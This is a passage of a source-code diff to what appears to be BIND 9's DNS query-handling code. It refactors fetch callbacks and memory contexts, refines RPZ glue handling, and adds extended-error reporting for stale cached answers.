+				isc_netaddr_fromin6(&netaddr, &in6a);
+				break;
+			default:
+				continue;
+			}
+
+			result = rpz_rewrite_ip(client, &netaddr, qtype,
+						rpz_type, zbits, p_rdatasetp);
+			if (result != ISC_R_SUCCESS) {
+				return (result);
+			}
+		}
+	} while (!done &&
+		 client->query.rpz_st->m.policy == DNS_RPZ_POLICY_MISS);
 
 	return (ISC_R_SUCCESS);
 }
@@ -3922,7 +4109,8 @@ rpz_rewrite_ns_skip(ns_client_t *client, dns_name_t *nsname,
 				    DNS_RPZ_TYPE_NSDNAME, str, result);
 	}
 	if (st->r.ns_rdataset != NULL &&
-	    dns_rdataset_isassociated(st->r.ns_rdataset)) {
+	    dns_rdataset_isassociated(st->r.ns_rdataset))
+	{
 		dns_rdataset_disassociate(st->r.ns_rdataset);
 	}
 
@@ -3955,6 +4143,7 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 	dns_rpz_have_t have;
 	dns_rpz_popt_t popt;
 	int rpz_ver;
+	unsigned int options;
 #ifdef USE_DNSRPS
 	librpz_emsg_t emsg;
 #endif /* ifdef USE_DNSRPS */
@@ -3992,7 +4181,7 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 #endif /* ifndef USE_DNSRPS */
 
 	if (st == NULL) {
-		st = isc_mem_get(client->mctx, sizeof(*st));
+		st = isc_mem_get(client->manager->mctx, sizeof(*st));
 		st->state = 0;
 		st->rpsdb = NULL;
 	}
@@ -4016,9 +4205,10 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 			if (st->rpsdb != NULL) {
 				dns_db_detach(&st->rpsdb);
 			}
+			CTRACE(ISC_LOG_DEBUG(3), "dns_dnsrps_rewrite_init");
 			result = dns_dnsrps_rewrite_init(
 				&emsg, st, rpzs, client->query.qname,
-				client->mctx, RECURSIONOK(client));
+				client->manager->mctx, RECURSIONOK(client));
 			if (result != ISC_R_SUCCESS) {
 				rpz_log_fail(client, DNS_RPZ_ERROR_LEVEL, NULL,
 					     DNS_RPZ_TYPE_QNAME, emsg.c,
@@ -4087,7 +4277,8 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 		dns_rpz_zbits_t allowed;
 
 		if (!st->popt.dnsrps_enabled &&
-		    qresult_type == qresult_type_recurse) {
+		    qresult_type == qresult_type_recurse)
+		{
 			/*
 			 * This request needs recursion that has not been done.
 			 * Get bits for the policy zones that do not need
@@ -4205,7 +4396,9 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 
 	dns_fixedname_init(&nsnamef);
 	dns_name_clone(client->query.qname, dns_fixedname_name(&nsnamef));
+	options = client->query.dboptions | DNS_DBFIND_GLUEOK;
 	while (st->r.label > st->popt.min_ns_labels) {
+		bool was_glue = false;
 		/*
 		 * Get NS rrset for each domain in the current qname.
 		 */
@@ -4217,10 +4410,11 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 				       nsname);
 		}
 		if (st->r.ns_rdataset == NULL ||
-		    !dns_rdataset_isassociated(st->r.ns_rdataset)) {
+		    !dns_rdataset_isassociated(st->r.ns_rdataset))
+		{
 			dns_db_t *db = NULL;
 			result = rpz_rrset_find(client, nsname,
-						dns_rdatatype_ns,
+						dns_rdatatype_ns, options,
 						DNS_RPZ_TYPE_NSDNAME, &db, NULL,
 						&st->r.ns_rdataset, resuming);
 			if (db != NULL) {
@@ -4230,6 +4424,9 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 				goto cleanup;
 			}
 			switch (result) {
+			case DNS_R_GLUE:
+				was_glue = true;
+				FALLTHROUGH;
 			case ISC_R_SUCCESS:
 				result = dns_rdataset_first(st->r.ns_rdataset);
 				if (result != ISC_R_SUCCESS) {
@@ -4269,6 +4466,7 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 				continue;
 			}
 		}
+
 		/*
 		 * Check all NS names.
 		 */
@@ -4319,7 +4517,17 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 			result = dns_rdataset_next(st->r.ns_rdataset);
 		} while (result == ISC_R_SUCCESS);
 		dns_rdataset_disassociate(st->r.ns_rdataset);
-		st->r.label--;
+
+		/*
+		 * If we just checked a glue NS RRset retry without allowing
+		 * glue responses, otherwise setup for the next name.
+		 */
+		if (was_glue) {
+			options = client->query.dboptions;
+		} else {
+			options = client->query.dboptions | DNS_DBFIND_GLUEOK;
+			st->r.label--;
+		}
 
 		if (rpz_get_zbits(client, dns_rdatatype_any,
 				  DNS_RPZ_TYPE_NSDNAME) == 0 &&
@@ -4357,7 +4565,8 @@ rpz_rewrite(ns_client_t *client, dns_rdatatype_t qtype, isc_result_t qresult,
 	    st->m.policy == DNS_RPZ_POLICY_ERROR)
 	{
 		if (st->m.policy == DNS_RPZ_POLICY_PASSTHRU &&
-		    result != DNS_R_DELEGATION) {
+		    result != DNS_R_DELEGATION)
+		{
 			rpz_log_rewrite(client, false, st->m.policy, st->m.type,
 					st->m.zone, st->p_name, NULL,
 					st->m.rpz->num);
@@ -4644,7 +4853,8 @@ query_findclosestnsec3(dns_name_t *qname, dns_db_t *db,
 		dns_rdata_reset(&rdata);
 		optout = ((nsec3.flags & DNS_NSEC3FLAG_OPTOUT) != 0);
 		if (found != NULL && optout &&
-		    dns_name_issubdomain(&name, dns_db_origin(db))) {
+		    dns_name_issubdomain(&name, dns_db_origin(db)))
+		{
 			dns_rdataset_disassociate(rdataset);
 			if (dns_rdataset_isassociated(sigrdataset)) {
 				dns_rdataset_disassociate(sigrdataset);
@@ -4752,7 +4962,7 @@ dns64_aaaaok(ns_client_t *client, dns_rdataset_t *rdataset,
 	}
 
 	count = dns_rdataset_count(rdataset);
-	aaaaok = isc_mem_get(client->mctx, sizeof(bool) * count);
+	aaaaok = isc_mem_cget(client->manager->mctx, count, sizeof(bool));
 
 	isc_netaddr_fromsockaddr(&netaddr, &client->peeraddr);
 	if (dns_dns64_aaaaok(dns64, &netaddr, client->signer, env, flags,
@@ -4766,12 +4976,14 @@ dns64_aaaaok(ns_client_t *client, dns_rdataset_t *rdataset,
 			}
 		}
 		if (aaaaok != NULL) {
-			isc_mem_put(client->mctx, aaaaok, sizeof(bool) * count);
+			isc_mem_cput(client->manager->mctx, aaaaok, count,
+				     sizeof(bool));
 		}
 		return (true);
 	}
 	if (aaaaok != NULL) {
-		isc_mem_put(client->mctx, aaaaok, sizeof(bool) * count);
+		isc_mem_cput(client->manager->mctx, aaaaok, count,
+			     sizeof(bool));
 	}
 	return (false);
 }
@@ -4810,6 +5022,7 @@ redirect(ns_client_t *client, dns_name_t *name, dns_rdataset_t *rdataset,
 
 	dns_clientinfomethods_init(&cm, ns_client_sourceip);
 	dns_clientinfo_init(&ci, client, NULL);
+	dns_clientinfo_setecs(&ci, &client->ecs);
 
 	if (WANTDNSSEC(client) && dns_db_iszone(*dbp) && dns_db_issecure(*dbp))
 	{
@@ -4948,6 +5161,7 @@ redirect2(ns_client_t *client, dns_name_t *name, dns_rdataset_t *rdataset,
 
 	dns_clientinfomethods_init(&cm, ns_client_sourceip);
 	dns_clientinfo_init(&ci, client, NULL);
+	dns_clientinfo_setecs(&ci, &client->ecs);
 
 	if (WANTDNSSEC(client) && dns_db_iszone(*dbp) && dns_db_issecure(*dbp))
 	{
@@ -5108,8 +5322,8 @@ redirect2(ns_client_t *client, dns_name_t *name, dns_rdataset_t *rdataset,
  * when leaving the scope or freeing the qctx.
  */
 static void
-qctx_init(ns_client_t *client, dns_fetchevent_t **eventp, dns_rdatatype_t qtype,
-	  query_ctx_t *qctx) {
+qctx_init(ns_client_t *client, dns_fetchresponse_t **frespp,
+	  dns_rdatatype_t qtype, query_ctx_t *qctx) {
 	REQUIRE(qctx != NULL);
 	REQUIRE(client != NULL);
 
@@ -5122,37 +5336,26 @@ qctx_init(ns_client_t *client, dns_fetchevent_t **eventp, dns_rdatatype_t qtype,
 
 	CCTRACE(ISC_LOG_DEBUG(3), "qctx_init");
 
-	if (eventp != NULL) {
-		qctx->event = *eventp;
-		*eventp = NULL;
+	if (frespp != NULL) {
+		qctx->fresp = *frespp;
+		*frespp = NULL;
 	} else {
-		qctx->event = NULL;
+		qctx->fresp = NULL;
 	}
 	qctx->qtype = qctx->type = qtype;
 	qctx->result = ISC_R_SUCCESS;
 	qctx->findcoveringnsec = qctx->view->synthfromdnssec;
 
-	CALL_HOOK_NORETURN(NS_QUERY_QCTX_INITIALIZED, qctx);
-}
-
-/*
- * Make 'dst' and exact copy of 'src', with exception of the
- * option field, which is reset to zero.
- * This function also attaches dst's view and db to the src's
- * view and cachedb.
- */
-static void
-qctx_copy(const query_ctx_t *qctx, query_ctx_t *dst) {
-	REQUIRE(qctx != NULL);
-	REQUIRE(dst != NULL);
+	/*
+	 * If it's an RRSIG or SIG query, we'll iterate the node.
+	 */
+	if (qctx->qtype == dns_rdatatype_rrsig ||
+	    qctx->qtype == dns_rdatatype_sig)
+	{
+		qctx->type = dns_rdatatype_any;
+	}
 
-	memmove(dst, qctx, sizeof(*dst));
-	dst->view = NULL;
-	dst->db = NULL;
-	dst->options = 0;
-	dns_view_attach(qctx->view, &dst->view);
-	dns_db_attach(qctx->view->cachedb, &dst->db);
-	CCTRACE(ISC_LOG_DEBUG(3), "qctx_copy");
+	CALL_HOOK_NORETURN(NS_QUERY_QCTX_INITIALIZED, qctx);
 }
 
 /*%
@@ -5165,7 +5368,8 @@ qctx_clean(query_ctx_t *qctx) {
 		dns_rdataset_disassociate(qctx->rdataset);
 	}
 	if (qctx->sigrdataset != NULL &&
-	    dns_rdataset_isassociated(qctx->sigrdataset)) {
+	    dns_rdataset_isassociated(qctx->sigrdataset))
+	{
 		dns_rdataset_disassociate(qctx->sigrdataset);
 	}
 	if (qctx->db != NULL && qctx->node != NULL) {
@@ -5207,9 +5411,8 @@ qctx_freedata(query_ctx_t *qctx) {
 		dns_db_detach(&qctx->zdb);
 	}
 
-	if (qctx->event != NULL && !qctx->client->nodetach) {
-		free_devent(qctx->client, ISC_EVENT_PTR(&qctx->event),
-			    &qctx->event);
+	if (qctx->fresp != NULL && !qctx->client->nodetach) {
+		free_fresp(qctx->client, &qctx->fresp);
 	}
 }
 
@@ -5248,7 +5451,7 @@ qctx_save(query_ctx_t *src, query_ctx_t *tgt) {
 	INITANDSAVE(tgt->rdataset, src->rdataset);
 	INITANDSAVE(tgt->sigrdataset, src->sigrdataset);
 	INITANDSAVE(tgt->noqname, src->noqname);
-	INITANDSAVE(tgt->event, src->event);
+	INITANDSAVE(tgt->fresp, src->fresp);
 	INITANDSAVE(tgt->db, src->db);
 	INITANDSAVE(tgt->version, src->version);
 	INITANDSAVE(tgt->node, src->node);
@@ -5308,7 +5511,7 @@ query_trace(query_ctx_t *qctx) {
  * ns__query_start() again with the same query context. Resuming from
  * recursion is handled by query_resume().
  */
-static isc_result_t
+static void
 query_setup(ns_client_t *client, dns_rdatatype_t qtype) {
 	isc_result_t result = ISC_R_UNSET;
 	query_ctx_t qctx;
@@ -5318,28 +5521,18 @@ query_setup(ns_client_t *client, dns_rdatatype_t qtype) {
 
 	CALL_HOOK(NS_QUERY_SETUP, &qctx);
 
-	/*
-	 * If it's a SIG query, we'll iterate the node.
-	 */
-	if (qctx.qtype == dns_rdatatype_rrsig ||
-	    qctx.qtype == dns_rdatatype_sig) {
-		qctx.type = dns_rdatatype_any;
-	}
-
 	/*
 	 * Check SERVFAIL cache
 	 */
 	result = ns__query_sfcache(&qctx);
 	if (result != ISC_R_COMPLETE) {
-		qctx_destroy(&qctx);
-		return (result);
+		goto cleanup;
 	}
 
-	result = ns__query_start(&qctx);
+	(void)ns__query_start(&qctx);
 
 cleanup:
 	qctx_destroy(&qctx);
-	return (result);
 }
 
 static bool
@@ -5425,11 +5618,14 @@ ns__query_start(query_ctx_t *qctx) {
 	CALL_HOOK(NS_QUERY_START_BEGIN, qctx);
 
 	/*
-	 * If we require a server cookie then send back BADCOOKIE
-	 * before we have done too much work.
+	 * If we require a server cookie or the presented server
+	 * cookie was bad then send back BADCOOKIE before we have
+	 * done too much work.
 	 */
-	if (!TCP(qctx->client) && qctx->view->requireservercookie &&
-	    WANTCOOKIE(qctx->client) && !HAVECOOKIE(qctx->client))
+	if (!TCP(qctx->client) &&
+	    (BADCOOKIE(qctx->client) ||
+	     (qctx->view->requireservercookie && WANTCOOKIE(qctx->client) &&
+	      !HAVECOOKIE(qctx->client))))
 	{
 		qctx->client->message->flags &= ~DNS_MESSAGEFLAG_AA;
 		qctx->client->message->flags &= ~DNS_MESSAGEFLAG_AD;
@@ -5490,10 +5686,9 @@ ns__query_start(query_ctx_t *qctx) {
 	result = query_getdb(qctx->client, qctx->client->query.qname,
 			     qctx->qtype, qctx->options, &qctx->zone, &qctx->db,
 			     &qctx->version, &qctx->is_zone);
-	if (ISC_UNLIKELY((result != ISC_R_SUCCESS || !qctx->is_zone) &&
-			 qctx->qtype == dns_rdatatype_ds &&
-			 !RECURSIONOK(qctx->client) &&
-			 (qctx->options & DNS_GETDB_NOEXACT) != 0))
+	if ((result != ISC_R_SUCCESS || !qctx->is_zone) &&
+	    qctx->qtype == dns_rdatatype_ds && !RECURSIONOK(qctx->client) &&
+	    (qctx->options & DNS_GETDB_NOEXACT) != 0)
 	{
 		/*
 		 * This is a non-recursive QTYPE=DS query with QNAME whose
@@ -5589,7 +5784,7 @@ ns__query_start(query_ctx_t *qctx) {
 	 * Attach to the database which will be used to prepare the answer.
 	 * Update query statistics.
 	 */
-	if (qctx->event == NULL && qctx->client->query.restarts == 0) {
+	if (qctx->fresp == NULL && qctx->client->query.restarts == 0) {
 		if (qctx->is_zone) {
 			if (qctx->zone != NULL) {
 				/*
@@ -5635,6 +5830,19 @@ ns__query_start(query_ctx_t *qctx) {
 	return (result);
 }
 
+static void
+async_restart(void *arg) {
+	query_ctx_t *qctx = arg;
+	ns_client_t *client = qctx->client;
+
+	ns__query_start(qctx);
+
+	qctx_clean(qctx);
+	qctx_freedata(qctx);
+	qctx_destroy(qctx);
+	isc_mem_put(client->manager->mctx, qctx, sizeof(*qctx));
+}
+
 /*
  * Allocate buffers in 'qctx' used to store query results.
  *
@@ -5648,99 +5856,37 @@ qctx_prepare_buffers(query_ctx_t *qctx, isc_buffer_t *buffer) {
 	REQUIRE(buffer != NULL);
 
 	qctx->dbuf = ns_client_getnamebuf(qctx->client);
-	if (ISC_UNLIKELY(qctx->dbuf == NULL)) {
-		CCTRACE(ISC_LOG_ERROR,
-			"qctx_prepare_buffers: ns_client_getnamebuf "
-			"failed");
-		return (ISC_R_NOMEMORY);
-	}
-
 	qctx->fname = ns_client_newname(qctx->client, qctx->dbuf, buffer);
-	if (ISC_UNLIKELY(qctx->fname == NULL)) {
-		CCTRACE(ISC_LOG_ERROR,
-			"qctx_prepare_buffers: ns_client_newname failed");
-
-		return (ISC_R_NOMEMORY);
-	}
-
 	qctx->rdataset = ns_client_newrdataset(qctx->client);
-	if (ISC_UNLIKELY(qctx->rdataset == NULL)) {
-		CCTRACE(ISC_LOG_ERROR,
-			"qctx_prepare_buffers: ns_client_newrdataset failed");
-		goto error;
-	}
 
 	if ((WANTDNSSEC(qctx->client) || qctx->findcoveringnsec) &&
 	    (!qctx->is_zone || dns_db_issecure(qctx->db)))
 	{
 		qctx->sigrdataset = ns_client_newrdataset(qctx->client);
-		if (qctx->sigrdataset == NULL) {
-			CCTRACE(ISC_LOG_ERROR,
-				"qctx_prepare_buffers: "
-				"ns_client_newrdataset failed (2)");
-			goto error;
-		}
 	}
 
 	return (ISC_R_SUCCESS);
-
-error:
-	if (qctx->fname != NULL) {
-		ns_client_releasename(qctx->client, &qctx->fname);
-	}
-	if (qctx->rdataset != NULL) {
-		ns_client_putrdataset(qctx->client, &qctx->rdataset);
-	}
-
-	return (ISC_R_NOMEMORY);
 }
 
-/*
- * Setup a new query context for resolving a query.
- *
- * This function is only called if both these conditions are met:
- *    1. BIND is configured with stale-answer-client-timeout 0.
- *    2. A stale RRset is found in cache during initial query
- *       database lookup.
- *
- * We continue with this function for refreshing/resolving an RRset
- * after answering a client with stale data.
+/*%
+ * Depending on the db lookup result, we can respond to the
+ * client this stale answer.
  */
-static void
-query_refresh_rrset(query_ctx_t *orig_qctx) {
-	isc_buffer_t buffer;
-	query_ctx_t qctx;
-
-	REQUIRE(orig_qctx != NULL);
-	REQUIRE(orig_qctx->client != NULL);
-
-	qctx_copy(orig_qctx, &qctx);
-	qctx.client->query.dboptions &= ~(DNS_DBFIND_STALETIMEOUT |
-					  DNS_DBFIND_STALEOK |
-					  DNS_DBFIND_STALEENABLED);
-
-	/*
-	 * We'll need some resources...
-	 */
-	if (qctx_prepare_buffers(&qctx, &buffer) != ISC_R_SUCCESS) {
-		dns_db_detach(&qctx.db);
-		qctx_destroy(&qctx);
-		return;
-	}
-
-	/*
-	 * Pretend we didn't find anything in cache.
-	 */
-	(void)query_gotanswer(&qctx, ISC_R_NOTFOUND);
-
-	if (qctx.fname != NULL) {
-		ns_client_releasename(qctx.client, &qctx.fname);
-	}
-	if (qctx.rdataset != NULL) {
-		ns_client_putrdataset(qctx.client, &qctx.rdataset);
+static bool
+stale_client_answer(isc_result_t result) {
+	switch (result) {
+	case ISC_R_SUCCESS:
+	case DNS_R_EMPTYNAME:
+	case DNS_R_NXRRSET:
+	case DNS_R_NCACHENXRRSET:
+	case DNS_R_CNAME:
+	case DNS_R_DNAME:
+		return (true);
+	default:
+		return (false);
 	}
 
-	qctx_destroy(&qctx);
+	UNREACHABLE();
 }
 
 /*%
@@ -5756,13 +5902,15 @@ query_lookup(query_ctx_t *qctx) {
 	dns_clientinfo_t ci;
 	dns_name_t *rpzqname = NULL;
 	char namebuf[DNS_NAME_FORMATSIZE];
+	char typebuf[DNS_RDATATYPE_FORMATSIZE];
 	unsigned int dboptions;
 	dns_ttl_t stale_refresh = 0;
 	bool dbfind_stale = false;
 	bool stale_timeout = false;
+	bool answer_found = false;
 	bool stale_found = false;
-	bool refresh_rrset = false;
 	bool stale_refresh_window = false;
+	uint16_t ede = 0;
 
 	CCTRACE(ISC_LOG_DEBUG(3), "query_lookup");
 
@@ -5770,6 +5918,9 @@ query_lookup(query_ctx_t *qctx) {
 
 	dns_clientinfomethods_init(&cm, ns_client_sourceip);
 	dns_clientinfo_init(&ci, qctx->client, NULL);
+	if (HAVEECS(qctx->client)) {
+		dns_clientinfo_setecs(&ci, &qctx->client->ecs);
+	}
 
 	/*
 	 * We'll need some resources...
@@ -5809,7 +5960,8 @@ query_lookup(query_ctx_t *qctx) {
 	(void)dns_db_getservestalerefresh(qctx->client->view->cachedb,
 					  &stale_refresh);
 	if (stale_refresh > 0 &&
-	    dns_view_staleanswerenabled(qctx->client->view)) {
+	    dns_view_staleanswerenabled(qctx->client->view))
+	{
 		dboptions |= DNS_DBFIND_STALEENABLED;
 	}
 
@@ -5824,7 +5976,8 @@ query_lookup(query_ctx_t *qctx) {
 	if (qctx->dns64 && qctx->rpz) {
 		dns_name_copy(qctx->client->query.qname, qctx->fname);
 		if (qctx->sigrdataset != NULL &&
-		    dns_rdataset_isassociated(qctx->sigrdataset)) {
+		    dns_rdataset_isassociated(qctx->sigrdataset))
+		{
 			dns_rdataset_disassociate(qctx->sigrdataset);
 		}
 	}
@@ -5863,9 +6016,17 @@ query_lookup(query_ctx_t *qctx) {
 	 */
 	stale_timeout = ((dboptions & DNS_DBFIND_STALETIMEOUT) != 0);
 
+	if (dns_rdataset_isassociated(qctx->rdataset) &&
+	    dns_rdataset_count(qctx->rdataset) > 0 && !STALE(qctx->rdataset))
+	{
+		/* Found non-stale usable rdataset. */
+		answer_found = true;
+	}
+
 	if (dbfind_stale || stale_refresh_window || stale_timeout) {
 		dns_name_format(qctx->client->query.qname, namebuf,
 				sizeof(namebuf));
+		dns_rdatatype_format(qctx->qtype, typebuf, sizeof(typebuf));
 
 		inc_stats(qctx->client, ns_statscounter_trystale);
 
@@ -5873,8 +6034,15 @@ query_lookup(query_ctx_t *qctx) {
 		    dns_rdataset_count(qctx->rdataset) > 0 &&
 		    STALE(qctx->rdataset))
 		{
-			qctx->rdataset->ttl = qctx->view->staleanswerttl;
 			stale_found = true;
+			if (result == DNS_R_NCACHENXDOMAIN ||
+			    result == DNS_R_NXDOMAIN)
+			{
+				ede = DNS_EDE_STALENXANSWER;
+			} else {
+				ede = DNS_EDE_STALEANSWER;
+			}
+			qctx->rdataset->ttl = qctx->view->staleanswerttl;
 			inc_stats(qctx->client, ns_statscounter_usedstale);
 		} else {
 			stale_found = false;
@@ -5884,9 +6052,14 @@ query_lookup(query_ctx_t *qctx) {
 	if (dbfind_stale) {
 		isc_log_write(ns_lctx, NS_LOGCATEGORY_SERVE_STALE,
 			      NS_LOGMODULE_QUERY, ISC_LOG_INFO,
-			      "%s resolver failure, stale answer %s", namebuf,
-			      stale_found ? "used" : "unavailable");
-		if (!stale_found) {
+			      "%s %s resolver failure, stale answer %s (%s)",
+			      namebuf, typebuf,
+			      stale_found ? "used" : "unavailable",
+			      isc_result_totext(result));
+		if (stale_found) {
+			ns_client_extendederror(qctx->client, ede,
+						"resolver failure");
+		} else if (!answer_found) {
 			/*
 			 * Resolver failure, no stale data, nothing more we
 			 * can do, return SERVFAIL.
@@ -5901,11 +6074,17 @@ query_lookup(query_ctx_t *qctx) {
 		 */
 		isc_log_write(ns_lctx, NS_LOGCATEGORY_SERVE_STALE,
 			      NS_LOGMODULE_QUERY, ISC_LOG_INFO,
-			      "%s query within stale refresh time, stale "
-			      "answer %s",
-			      namebuf, stale_found ? "used" : "unavailable");
-
-		if (!stale_found) {
+			      "%s %s query within stale refresh time, stale "
+			      "answer %s (%s)",
+			      namebuf, typebuf,
+			      stale_found ? "used" : "unavailable",
+			      isc_result_totext(result));
+
+		if (stale_found) {
+			ns_client_extendederror(
+				qctx->client, ede,
+				"query within stale refresh time window");
+		} else if (!answer_found) {
 			/*
 			 * During the stale refresh window explicitly do not try
 			 * to refresh the data, because a recent lookup failed.
@@ -5915,7 +6094,7 @@ query_lookup(query_ctx_t *qctx) {
 		}
 	} else if (stale_timeout) {
 		if ((qctx->options & DNS_GETDB_STALEFIRST) != 0) {
-			if (!stale_found) {
+			if (!stale_found && !answer_found) {
 				/*
 				 * We have nothing useful in cache to return
 				 * immediately.
@@ -5927,12 +6106,14 @@ query_lookup(query_ctx_t *qctx) {
 				qctx->client->query.dboptions &=
 					~DNS_DBFIND_STALETIMEOUT;
 				qctx->options &= ~DNS_GETDB_STALEFIRST;
-				if (qctx->client->query.fetch != NULL) {
+				if (FETCH_RECTYPE_NORMAL(qctx->client) != NULL)
+				{
 					dns_resolver_destroyfetch(
-						&qctx->client->query.fetch);
+						&FETCH_RECTYPE_NORMAL(
+							qctx->client));
 				}
 				return (query_lookup(qctx));
-			} else {
+			} else if (stale_client_answer(result)) {
 				/*
 				 * Immediately return the stale answer, start a
 				 * resolver fetch to refresh the data in cache.
@@ -5940,11 +6121,17 @@ query_lookup(query_ctx_t *qctx) {
 				isc_log_write(
 					ns_lctx, NS_LOGCATEGORY_SERVE_STALE,
 					NS_LOGMODULE_QUERY, ISC_LOG_INFO,
-					"%s stale answer used, an attempt to "
-					"refresh the RRset will still be made",
-					namebuf);
-				refresh_rrset = STALE(qctx->rdataset);
-				qctx->client->nodetach = refresh_rrset;
+					"%s %s stale answer used, an attempt "
+					"to refresh the RRset will still be "
+					"made",
+					namebuf, typebuf);
+				qctx->refresh_rrset = STALE(qctx->rdataset);
+				if (stale_found) {
+					ns_client_extendederror(
+						qctx->client, ede,
+						"stale data prioritized over "
+						"lookup");
+				}
 			}
 		} else {
 			/*
@@ -5952,12 +6139,21 @@ query_lookup(query_ctx_t *qctx) {
 			 * the stale answer if available, otherwise wait until
 			 * the resolver finishes.
 			 */
-			isc_log_write(ns_lctx, NS_LOGCATEGORY_SERVE_STALE,
-				      NS_LOGMODULE_QUERY, ISC_LOG_INFO,
-				      "%s client timeout, stale answer %s",
-				      namebuf,
-				      stale_found ? "used" : "unavailable");
-			if (!stale_found) {
+			isc_log_write(
+				ns_lctx, NS_LOGCATEGORY_SERVE_STALE,
+				NS_LOGMODULE_QUERY, ISC_LOG_INFO,
+				"%s %s client timeout, stale answer %s (%s)",
+				namebuf, typebuf,
+				stale_found ? "used" : "unavailable",
+				isc_result_totext(result));
+			if (stale_found) {
+				ns_client_extendederror(qctx->client, ede,
+							"client timeout");
+			} else if (!answer_found) {
+				return (result);
+			}
+
+			if (!stale_client_answer(result)) {
 				return (result);
 			}
 
@@ -5970,7 +6166,7 @@ query_lookup(query_ctx_t *qctx) {
 		}
 	}
 
-	if (stale_timeout && stale_found) {
+	if (stale_timeout && (answer_found || stale_found)) {
 		/*
 		 * Mark RRsets that we are adding to the client message on a
 		 * lookup during 'stale-answer-client-timeout', so we can
@@ -5982,17 +6178,6 @@ query_lookup(query_ctx_t *qctx) {
 
 	result = query_gotanswer(qctx, result);
 
-	if (refresh_rrset) {
-		/*
-		 * If we reached this point then it means that we have found a
-		 * stale RRset entry in cache and BIND is configured to allow
-		 * queries to be answered with stale data if no active RRset
-		 * is available, i.e. "stale-anwer-client-timeout 0". But, we
-		 * still need to refresh the RRset.
-		 */
-		query_refresh_rrset(qctx);
-	}
-
 cleanup:
 	return (result);
 }
@@ -6057,7 +6242,7 @@ query_clear_stale(ns_client_t *client) {
  * answered, in order to avoid answering the query twice, when the original
  * fetch finishes.
  */
-static inline void
+static void
 query_lookup_stale(ns_client_t *client) {
 	query_ctx_t qctx;
 
@@ -6082,34 +6267,27 @@ query_lookup_stale(ns_client_t *client) {
  * call query_resume() to continue the ongoing work.
  */
 static void
-fetch_callback(isc_task_t *task, isc_event_t *event) {
-	dns_fetchevent_t *devent = (dns_fetchevent_t *)event;
+fetch_callback(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	ns_client_t *client = resp->arg;
 	dns_fetch_t *fetch = NULL;
-	ns_client_t *client = NULL;
 	bool fetch_canceled = false;
 	bool fetch_answered = false;
-	bool client_shuttingdown = false;
 	isc_logcategory_t *logcategory = NS_LOGCATEGORY_QUERY_ERRORS;
 	isc_result_t result;
 	int errorloglevel;
 	query_ctx_t qctx;
 
-	UNUSED(task);
-
-	REQUIRE(event->ev_type == DNS_EVENT_FETCHDONE ||
-		event->ev_type == DNS_EVENT_TRYSTALE);
-
-	client = devent->ev_arg;
-
 	REQUIRE(NS_CLIENT_VALID(client));
-	REQUIRE(task == client->task);
 	REQUIRE(RECURSING(client));
 
 	CTRACE(ISC_LOG_DEBUG(3), "fetch_callback");
 
-	if (event->ev_type == DNS_EVENT_TRYSTALE) {
-		query_lookup_stale(client);
-		isc_event_free(ISC_EVENT_PTR(&event));
+	if (resp->type == TRYSTALE) {
+		if (resp->result != ISC_R_CANCELED) {
+			query_lookup_stale(client);
+		}
+		isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 		return;
 	}
 	/*
@@ -6124,27 +6302,27 @@ fetch_callback(isc_task_t *task, isc_event_t *event) {
 	client->nodetach = false;
 
 	LOCK(&client->query.fetchlock);
-	INSIST(client->query.fetch == devent->fetch ||
-	       client->query.fetch == NULL);
+	INSIST(FETCH_RECTYPE_NORMAL(client) == resp->fetch ||
+	       FETCH_RECTYPE_NORMAL(client) == NULL);
 	if (QUERY_STALEPENDING(&client->query)) {
 		/*
 		 * We've gotten an authoritative answer to a query that
 		 * was left pending after a stale timeout. We don't need
 		 * to do anything with it; free all the data and go home.
 		 */
-		client->query.fetch = NULL;
+		FETCH_RECTYPE_NORMAL(client) = NULL;
 		fetch_answered = true;
-	} else if (client->query.fetch != NULL) {
+	} else if (FETCH_RECTYPE_NORMAL(client) != NULL) {
 		/*
 		 * This is the fetch we've been waiting for.
 		 */
-		INSIST(devent->fetch == client->query.fetch);
-		client->query.fetch = NULL;
+		INSIST(FETCH_RECTYPE_NORMAL(client) == resp->fetch);
+		FETCH_RECTYPE_NORMAL(client) = NULL;
 
 		/*
 		 * Update client->now.
 		 */
-		isc_stdtime_get(&client->now);
+		client->now = isc_stdtime_now();
 	} else {
 		/*
 		 * This is a fetch completion event for a canceled fetch.
@@ -6154,27 +6332,14 @@ fetch_callback(isc_task_t *task, isc_event_t *event) {
 	}
 	UNLOCK(&client->query.fetchlock);
 
-	SAVE(fetch, devent->fetch);
+	SAVE(fetch, resp->fetch);
 
 	/*
 	 * We're done recursing, detach from quota and unlink from
 	 * the manager's recursing-clients list.
 	 */
 
-	if (client->recursionquota != NULL) {
-		isc_quota_detach(&client->recursionquota);
-		ns_stats_decrement(client->sctx->nsstats,
-				   ns_statscounter_recursclients);
-	} else if (client->attributes & NS_CLIENTATTR_RECURSING) {
-		client->attributes &= ~NS_CLIENTATTR_RECURSING;
-		/*
-		 * Detached from recursionquota via prefetch_done(),
-		 * but need to decrement recursive client stats here anyway,
-		 * since it was incremented in ns_query_recurse().
-		 */
-		ns_stats_decrement(client->sctx->nsstats,
-				   ns_statscounter_recursclients);
-	}
+	recursionquotatype_detach(client);
 
 	LOCK(&client->manager->reclock);
 	if (ISC_LINK_LINKED(client, rlink)) {
@@ -6182,7 +6347,7 @@ fetch_callback(isc_task_t *task, isc_event_t *event) {
 	}
 	UNLOCK(&client->manager->reclock);
 
-	isc_nmhandle_detach(&client->fetchhandle);
+	isc_nmhandle_detach(&HANDLE_RECTYPE_NORMAL(client));
 
 	client->query.attributes &= ~NS_QUERYATTR_RECURSING;
 	client->state = NS_CLIENTSTATE_WORKING;
